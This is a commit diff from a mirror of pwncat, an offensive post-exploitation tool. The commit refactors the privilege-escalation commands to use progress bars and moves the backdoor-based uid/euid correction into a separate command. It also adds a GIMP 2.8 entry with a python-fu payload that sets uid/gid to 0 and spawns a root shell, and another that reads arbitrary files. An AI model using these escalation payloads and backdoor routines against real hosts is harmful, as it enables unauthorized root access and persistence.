mirror of
https://github.com/calebstewart/pwncat.git
synced 2024-11-27 19:04:15 +01:00
Removed old logging code in privesc command. Slow and steady. D:
This commit is contained in:
parent
96e4688dae
commit
f1affd82c1
@ -11,7 +11,7 @@ from pwncat.commands.base import (
|
||||
StoreConstOnce,
|
||||
StoreForAction,
|
||||
)
|
||||
from pwncat import util, privesc
|
||||
from pwncat import privesc
|
||||
from pwncat.persist import PersistenceError
|
||||
from pwncat.util import State, console
|
||||
from colorama import Fore
|
||||
@ -137,7 +137,7 @@ class Command(CommandDefinition):
|
||||
read_pipe, chain, technique = pwncat.victim.privesc.read_file(
|
||||
args.path, args.user, args.max_depth
|
||||
)
|
||||
util.success(f"file successfully opened with {technique}!")
|
||||
console.log(f"file [green]opened[/green] with {technique}")
|
||||
|
||||
# Read the data from the pipe
|
||||
shutil.copyfileobj(read_pipe, sys.stdout.buffer)
|
||||
@ -147,7 +147,7 @@ class Command(CommandDefinition):
|
||||
pwncat.victim.privesc.unwrap(chain)
|
||||
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"read file failed: {exc}")
|
||||
console.log(f"file write [red]failed[/red]")
|
||||
elif args.action == "write":
|
||||
# Make sure the correct arguments are present
|
||||
if not args.path:
|
||||
@ -159,8 +159,8 @@ class Command(CommandDefinition):
|
||||
try:
|
||||
with open(args.data, "rb") as f:
|
||||
data = f.read()
|
||||
except PermissionError:
|
||||
self.parser.error(f"no local permission to read: {args.data}")
|
||||
except (PermissionError, FileNotFoundError):
|
||||
console.log(f"{args.data}: no such file or directory")
|
||||
|
||||
try:
|
||||
# Attempt to write the data to the remote file
|
||||
@ -168,47 +168,25 @@ class Command(CommandDefinition):
|
||||
args.path, data, target_user=args.user, depth=args.max_depth,
|
||||
)
|
||||
pwncat.victim.privesc.unwrap(chain)
|
||||
util.success("file written successfully!")
|
||||
console.log("file write [green]succeeded[/green]")
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"file write failed: {exc}")
|
||||
console.log(f"file write [red]failed[/red]: {exc}")
|
||||
elif args.action == "escalate":
|
||||
try:
|
||||
chain = pwncat.victim.privesc.escalate(
|
||||
args.user, depth=args.max_depth, exclude=args.exclude
|
||||
)
|
||||
|
||||
ident = pwncat.victim.id
|
||||
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
|
||||
util.progress(
|
||||
"mismatched euid and uid; attempting backdoor installation."
|
||||
)
|
||||
for method in pwncat.victim.persist.available:
|
||||
if not method.system or not method.local:
|
||||
continue
|
||||
try:
|
||||
# Attempt to install this persistence method
|
||||
pwncat.victim.persist.install(method.name)
|
||||
if not method.escalate():
|
||||
# The escalation didn't work, remove it and try the next
|
||||
pwncat.victim.persist.remove(method.name)
|
||||
continue
|
||||
chain.append(
|
||||
(
|
||||
f"{method.format()} ([cyan]euid[/cyan] correction)",
|
||||
"exit",
|
||||
)
|
||||
)
|
||||
break
|
||||
except PersistenceError:
|
||||
continue
|
||||
else:
|
||||
util.warn("failed to correct uid/euid mismatch")
|
||||
|
||||
console.log("privilege escalation succeeded using:")
|
||||
for i, (technique, _) in enumerate(chain):
|
||||
arrow = f"[yellow]\u2ba1[/yellow] "
|
||||
console.log(f"{(i+1)*' '}{arrow}{technique}")
|
||||
|
||||
ident = pwncat.victim.id
|
||||
if ident["euid"]["id"] == 0 and ident["uid"]["id"] != 0:
|
||||
pwncat.victim.command_parser.dispatch_line("euid_fix")
|
||||
|
||||
pwncat.victim.reset()
|
||||
pwncat.victim.state = State.RAW
|
||||
except privesc.PrivescError as exc:
|
||||
util.error(f"escalation failed: {exc}")
|
||||
console.log(f"privilege escalation [red]failed[/red]: {exc}")
|
||||
|
@ -779,6 +779,35 @@
|
||||
}
|
||||
],
|
||||
//-------------------------------------------------------------------
|
||||
"gimp-2.8": [
|
||||
{
|
||||
"type": "shell",
|
||||
"payload": "{command}",
|
||||
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import os, pty;exec(\"try:\\n\\tos.setuid(0);\\nexcept:\\n\\tpass\\ntry:\\n\\tos.setgid(0)\\nexcept:\\n\\tpass\"); pty.spawn(\"{shell}\");gimp.exit()'"],
|
||||
"exit": "exit"
|
||||
},
|
||||
{
|
||||
"type": "read",
|
||||
"stream": "raw",
|
||||
"payload": "{command} 2>/dev/null",
|
||||
"args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys; sys.stdout.write(open(\"{lfile}\",\"rb\").read());gimp.exit()'"]
|
||||
}
|
||||
|
||||
// This 'write' technique seems to fail because it cannot capture stdin, being a "subprocess".
|
||||
// Since it can get a shell, this is not really an issue.
|
||||
// {
|
||||
// "type": "write",
|
||||
// "stream":"raw",
|
||||
// "payload": "{command} 2>/dev/null",
|
||||
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'import sys, shutil; shutil.copyfileobj(sys.stdin.buffer, open(\"{lfile}\",\"wb\"),length={length});gimp.exit()'"]
|
||||
// },
|
||||
// {
|
||||
// "type": "write",
|
||||
// "stream":"base64",
|
||||
// "payload": "{command} 2>/dev/null",
|
||||
// "args": ["-idf", "--batch-interpreter=python-fu-eval", "-b", "'exec(\"\"\"import sys,base64\\nwith open(\"{lfile}\",\"wb\") as f:\\n\\tfor chunk in iter(lambda: sys.stdin.read(4), b\"\"):\\n\\t\\tf.write(base64.b64decode(chunk))\"\"\")\\ngimp.exit()'"]
|
||||
// }
|
||||
],
|
||||
"gimp": [
|
||||
{
|
||||
"type": "shell",
|
||||
|
@ -71,20 +71,36 @@ class Finder:
|
||||
if exclude is None:
|
||||
exclude = []
|
||||
|
||||
if target_user is None:
|
||||
target_user = "[any]"
|
||||
|
||||
with Progress(
|
||||
f"[cyan]{pwncat.victim.current_user.name}[/cyan]",
|
||||
"→",
|
||||
f"[yellow]{target_user}[/yellow]",
|
||||
"•",
|
||||
"enumerating",
|
||||
"•",
|
||||
"{task.fields[method]}",
|
||||
"•",
|
||||
"{task.fields[step]}",
|
||||
console=console,
|
||||
auto_refresh=True,
|
||||
transient=True,
|
||||
) as progress:
|
||||
task = progress.add_task("enumerating", method="initializing", step="")
|
||||
techniques = []
|
||||
for method in self.methods:
|
||||
progress.update(task, method=str(method))
|
||||
try:
|
||||
if method.id in exclude:
|
||||
continue
|
||||
techniques.extend(method.enumerate())
|
||||
for tech in method.enumerate(progress, task):
|
||||
if target_user == tech.user or target_user == "[any]":
|
||||
techniques.append(tech)
|
||||
except PrivescError:
|
||||
pass
|
||||
|
||||
if target_user is not None:
|
||||
techniques = [
|
||||
technique for technique in techniques if technique.user == target_user
|
||||
]
|
||||
|
||||
return techniques
|
||||
|
||||
def add_backdoor(self):
|
||||
@ -168,14 +184,31 @@ class Finder:
|
||||
except UnicodeDecodeError:
|
||||
data_printable = False
|
||||
|
||||
with Progress(
|
||||
f"write [cyan]{filename}[/cyan] as [yellow]{target_user}[/yellow]",
|
||||
"•",
|
||||
"{task.fields[status]}",
|
||||
"•",
|
||||
"{task.fields[step]}",
|
||||
console=console,
|
||||
auto_refresh=True,
|
||||
transient=True,
|
||||
) as progress:
|
||||
|
||||
task = progress.add_task(
|
||||
"writing", status="enumerating", step="initializing"
|
||||
)
|
||||
|
||||
for method in self.methods:
|
||||
try:
|
||||
found_techniques = method.enumerate(Capability.ALL)
|
||||
found_techniques = method.enumerate(progress, task, Capability.ALL)
|
||||
for tech in found_techniques:
|
||||
progress.update(task, step=str(tech))
|
||||
if (
|
||||
tech.user == target_user
|
||||
and Capability.WRITE in tech.capabilities
|
||||
):
|
||||
progress.update(task, step=f"attempting {tech}")
|
||||
try:
|
||||
tech.method.write_file(filename, data, tech)
|
||||
return chain
|
||||
@ -189,6 +222,8 @@ class Finder:
|
||||
|
||||
shlvl = pwncat.victim.getenv("SHLVL")
|
||||
|
||||
progress.update(task, status="recursing", step="")
|
||||
|
||||
# We can't escalate directly to the target to read a file. So, try recursively
|
||||
# against other users.
|
||||
for user, techniques in user_map.items():
|
||||
@ -197,11 +232,15 @@ class Finder:
|
||||
if self.in_chain(user, chain):
|
||||
continue
|
||||
try:
|
||||
tech, exit_command = self.escalate_single(techniques, shlvl)
|
||||
progress.update(task, step=f"escalating to [green]{user}[/green]")
|
||||
tech, exit_command = self.escalate_single(
|
||||
techniques, shlvl, progress, task
|
||||
)
|
||||
chain.append((tech, exit_command))
|
||||
except PrivescError:
|
||||
continue
|
||||
try:
|
||||
progress.update(task, step=f"recursing to [green]{user}[/green]")
|
||||
return self.write_file(
|
||||
filename, data, safe, target_user, depth, chain, starting_user
|
||||
)
|
||||
@ -241,15 +280,31 @@ class Finder:
|
||||
if depth is not None and len(chain) > depth:
|
||||
raise PrivescError("max depth reached")
|
||||
|
||||
with Progress(
|
||||
f"write [cyan]{filename}[/cyan] as [yellow]{target_user}[/yellow]",
|
||||
"•",
|
||||
"{task.fields[status]}",
|
||||
"•",
|
||||
"{task.fields[step]}",
|
||||
console=console,
|
||||
auto_refresh=True,
|
||||
transient=True,
|
||||
) as progress:
|
||||
|
||||
task = progress.add_task(
|
||||
"reading", status="enumerating", step="initializing"
|
||||
)
|
||||
# Enumerate escalation options for this user
|
||||
user_map = {}
|
||||
for method in self.methods:
|
||||
try:
|
||||
found_techniques = method.enumerate(Capability.ALL)
|
||||
found_techniques = method.enumerate(progress, task, Capability.ALL)
|
||||
for tech in found_techniques:
|
||||
progress.update(task, step=str(tech))
|
||||
if tech.user == target_user and (
|
||||
tech.capabilities & Capability.READ
|
||||
):
|
||||
progress.update(task, step=f"attempting {tech}")
|
||||
try:
|
||||
read_pipe = tech.method.read_file(filename, tech)
|
||||
return (read_pipe, chain, tech)
|
||||
@ -263,6 +318,8 @@ class Finder:
|
||||
|
||||
shlvl = pwncat.victim.getenv("SHLVL")
|
||||
|
||||
progress.update(task, status="recursing", step="")
|
||||
|
||||
# We can't escalate directly to the target to read a file. So, try recursively
|
||||
# against other users.
|
||||
for user, techniques in user_map.items():
|
||||
@ -271,11 +328,13 @@ class Finder:
|
||||
if self.in_chain(user, chain):
|
||||
continue
|
||||
try:
|
||||
progress.update(task, step=f"escalating to [green]{user}[/green]")
|
||||
tech, exit_command = self.escalate_single(techniques, shlvl)
|
||||
chain.append((tech, exit_command))
|
||||
except PrivescError:
|
||||
continue
|
||||
try:
|
||||
progress.update(task, step=f"recursing to [green]{user}[/green]")
|
||||
return self.read_file(
|
||||
filename, target_user, depth, chain, starting_user
|
||||
)
|
||||
@ -775,7 +834,9 @@ class Finder:
|
||||
continue
|
||||
try:
|
||||
found_techniques = method.enumerate(
|
||||
Capability.SHELL | Capability.WRITE | Capability.READ
|
||||
progress,
|
||||
task,
|
||||
Capability.SHELL | Capability.WRITE | Capability.READ,
|
||||
)
|
||||
for tech in found_techniques:
|
||||
progress.update(task, step=str(tech))
|
||||
@ -949,7 +1010,7 @@ class BaseMethod:
|
||||
raise PrivescError(f"required remote binary not found: {binary}")
|
||||
|
||||
def enumerate(
|
||||
self, capability: int = Capability.ALL
|
||||
self, progress: Progress, task: Any, capability: int = Capability.ALL
|
||||
) -> Generator[Technique, None, None]:
|
||||
"""
|
||||
Enumerate all possible techniques known and possible on the remote host for
|
||||
|
@ -27,7 +27,9 @@ class Method(BaseMethod):
|
||||
id = "enum.passwords"
|
||||
BINARIES = ["su"]
|
||||
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
def enumerate(
|
||||
self, progress, task, capability: int = Capability.ALL
|
||||
) -> List[Technique]:
|
||||
"""
|
||||
Enumerate capabilities for this method.
|
||||
|
||||
@ -43,6 +45,9 @@ class Method(BaseMethod):
|
||||
|
||||
techniques = []
|
||||
for fact in pwncat.victim.enumerate.iter(typ="configuration.password"):
|
||||
|
||||
progress.update(task, step=str(fact.data))
|
||||
|
||||
if fact.data.value is None:
|
||||
continue
|
||||
|
||||
@ -69,8 +74,6 @@ class Method(BaseMethod):
|
||||
|
||||
seen_password.append(fact.data.value)
|
||||
|
||||
return techniques
|
||||
|
||||
def execute(self, technique: Technique) -> bytes:
|
||||
"""
|
||||
Escalate to the new user and return a string used to exit the shell
|
||||
|
@ -14,7 +14,9 @@ class Method(BaseMethod):
|
||||
id = "logged-passwords"
|
||||
BINARIES = ["su"]
|
||||
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
def enumerate(
|
||||
self, progress, task, capability: int = Capability.ALL
|
||||
) -> List[Technique]:
|
||||
"""
|
||||
Enumerate capabilities for this method.
|
||||
|
||||
@ -24,9 +26,10 @@ class Method(BaseMethod):
|
||||
|
||||
# We only provide shell capability
|
||||
if Capability.SHELL not in capability:
|
||||
return []
|
||||
return
|
||||
|
||||
for fact in pwncat.victim.enumerate.iter(typ="system.user.password"):
|
||||
progress.update(task, step=str(fact.data))
|
||||
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
|
||||
|
||||
def execute(self, technique: Technique) -> bytes:
|
||||
|
@ -14,7 +14,9 @@ class Method(BaseMethod):
|
||||
id = "enum.privkeys"
|
||||
BINARIES = ["ssh"]
|
||||
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
def enumerate(
|
||||
self, progress, task, capability: int = Capability.ALL
|
||||
) -> List[Technique]:
|
||||
"""
|
||||
Enumerate capabilities for this method.
|
||||
|
||||
@ -33,6 +35,7 @@ class Method(BaseMethod):
|
||||
return
|
||||
|
||||
for fact in pwncat.victim.enumerate.iter(typ="system.user.private_key"):
|
||||
progress.update(task, step=str(fact.data))
|
||||
if not fact.data.encrypted:
|
||||
yield Technique(fact.data.user.name, self, fact.data, Capability.SHELL)
|
||||
|
||||
|
@ -17,23 +17,27 @@ class Method(BaseMethod):
|
||||
id = "screen-suid"
|
||||
BINARIES = []
|
||||
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
def enumerate(
|
||||
self, progress, task, capability: int = Capability.ALL
|
||||
) -> List[Technique]:
|
||||
""" Find all techniques known at this time """
|
||||
|
||||
# If we have ran this before, don't bother running it
|
||||
if Capability.SHELL not in capability:
|
||||
return []
|
||||
return
|
||||
|
||||
# Grab all possibly vulnerable screen version
|
||||
# It has to be SUID for this to work.
|
||||
facts = [
|
||||
f
|
||||
for f in pwncat.victim.enumerate("screen-version")
|
||||
if f.data.vulnerable and f.data.perms & 0o4000
|
||||
]
|
||||
facts = []
|
||||
for fact in pwncat.victim.enumerate("screen-version"):
|
||||
progress.update(task, step=str(fact.data))
|
||||
if fact.data.vulnerable and fact.data.perms & 0o4000:
|
||||
facts.append(fact)
|
||||
|
||||
for fact in facts:
|
||||
|
||||
progress.update(task, step=str(fact.data))
|
||||
|
||||
# Carve out the version of screen
|
||||
version_output = (
|
||||
pwncat.victim.run(f"{fact.data.path} -v").decode("utf-8").strip()
|
||||
|
@ -16,11 +16,15 @@ class Method(BaseMethod):
|
||||
id = "setuid"
|
||||
BINARIES = ["find"]
|
||||
|
||||
def enumerate(self, caps: Capability = Capability.ALL) -> List[Technique]:
|
||||
def enumerate(
|
||||
self, progress, task, caps: Capability = Capability.ALL
|
||||
) -> List[Technique]:
|
||||
""" Find all techniques known at this time """
|
||||
|
||||
for suid in pwncat.victim.enumerate.iter("suid"):
|
||||
|
||||
progress.update(task, step=str(suid.data))
|
||||
|
||||
try:
|
||||
binary = pwncat.victim.gtfo.find_binary(suid.data.path, caps)
|
||||
except BinaryNotFound:
|
||||
|
@ -14,11 +14,12 @@ class Method(BaseMethod):
|
||||
id = "su"
|
||||
BINARIES = ["su"]
|
||||
|
||||
def enumerate(self, capability=Capability.ALL) -> List[Technique]:
|
||||
def enumerate(self, progress, task, capability=Capability.ALL) -> List[Technique]:
|
||||
|
||||
current_user = pwncat.victim.whoami()
|
||||
|
||||
for user, info in pwncat.victim.users.items():
|
||||
progress.update(task, step=str(user))
|
||||
if user == current_user:
|
||||
continue
|
||||
if info.password is not None or current_user == "root":
|
||||
|
@ -16,12 +16,16 @@ class Method(BaseMethod):
|
||||
id = "sudo"
|
||||
BINARIES = ["sudo"]
|
||||
|
||||
def enumerate(self, capability: int = Capability.ALL) -> List[Technique]:
|
||||
def enumerate(
|
||||
self, progress, task, capability: int = Capability.ALL
|
||||
) -> List[Technique]:
|
||||
""" Find all techniques known at this time """
|
||||
|
||||
rules = []
|
||||
for fact in pwncat.victim.enumerate("sudo"):
|
||||
|
||||
progress.update(task, step=str(fact.data))
|
||||
|
||||
# Doesn't appear to be a user specification
|
||||
if not fact.data.matched:
|
||||
continue
|
||||
@ -52,6 +56,7 @@ class Method(BaseMethod):
|
||||
|
||||
for rule in rules:
|
||||
for method in pwncat.victim.gtfo.iter_sudo(rule.command, caps=capability):
|
||||
progress.update(task, step=str(rule))
|
||||
user = "root" if rule.runas_user == "ALL" else rule.runas_user
|
||||
yield Technique(user, self, (method, rule), method.cap)
|
||||
|
||||
|
@ -578,7 +578,7 @@ class Victim:
|
||||
with self.open("/proc/1/comm", "r") as filp:
|
||||
init = filp.read()
|
||||
except (FileNotFoundError, PermissionError):
|
||||
init = None
|
||||
init = "unknown"
|
||||
|
||||
if "systemd" in init:
|
||||
self.host.init = util.Init.SYSTEMD
|
||||
|
Loading…
Reference in New Issue
Block a user